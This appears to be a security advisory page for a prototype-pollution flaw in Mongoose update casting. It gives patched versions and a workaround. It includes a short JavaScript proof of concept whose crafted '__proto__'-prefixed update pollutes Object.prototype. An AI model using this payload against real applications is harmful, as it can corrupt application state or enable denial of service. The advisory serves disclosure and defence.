mediumCVSS 6.5Vulnerability

GHSA-664h-wqgq-64gw

### Impact _What kind of vulnerability is it? Who is impacted?_ Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`. Example: ```javascript const mongoose = require('mongoose'); console.log('before:', Object.prototype.$fullPath); // undefined const User = mongoose.model('User', new mongoose.Schema({ name: String })); const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update const q = User.updateOne({}, {}); try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ } console.log('after :', Object.prototype.$fullPath); // "__proto__" console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true console.log('fresh {}:', ({}).$fullPath); // "__proto__" ``` ### Patches _Has the problem been patched? What versions should users upgrade to?_ 9.7.2, 8.24.1. 7.8.10, 6.13.10 ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ Check user-controlled updates for own `__proto__` properties before passing to Mongoose ### References _Are there any links users can visit to find out more?_

Properties

ghsa_id
GHSA-664h-wqgq-64gw
severity
medium
summary
Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
cvss_score
6.5
cve_id
GHSA-664h-wqgq-64gw
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
is_ghsa_only
true
ghsa_published
2026-07-24T16:22:34Z
source_url
https://github.com/advisories/GHSA-664h-wqgq-64gw
ghsa_updated
2026-07-24T16:22:35Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]npm/mongoose

AFFECTS (1)

[Software]npm/mongoose

HAS_WEAKNESS (1)

[Weakness]Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph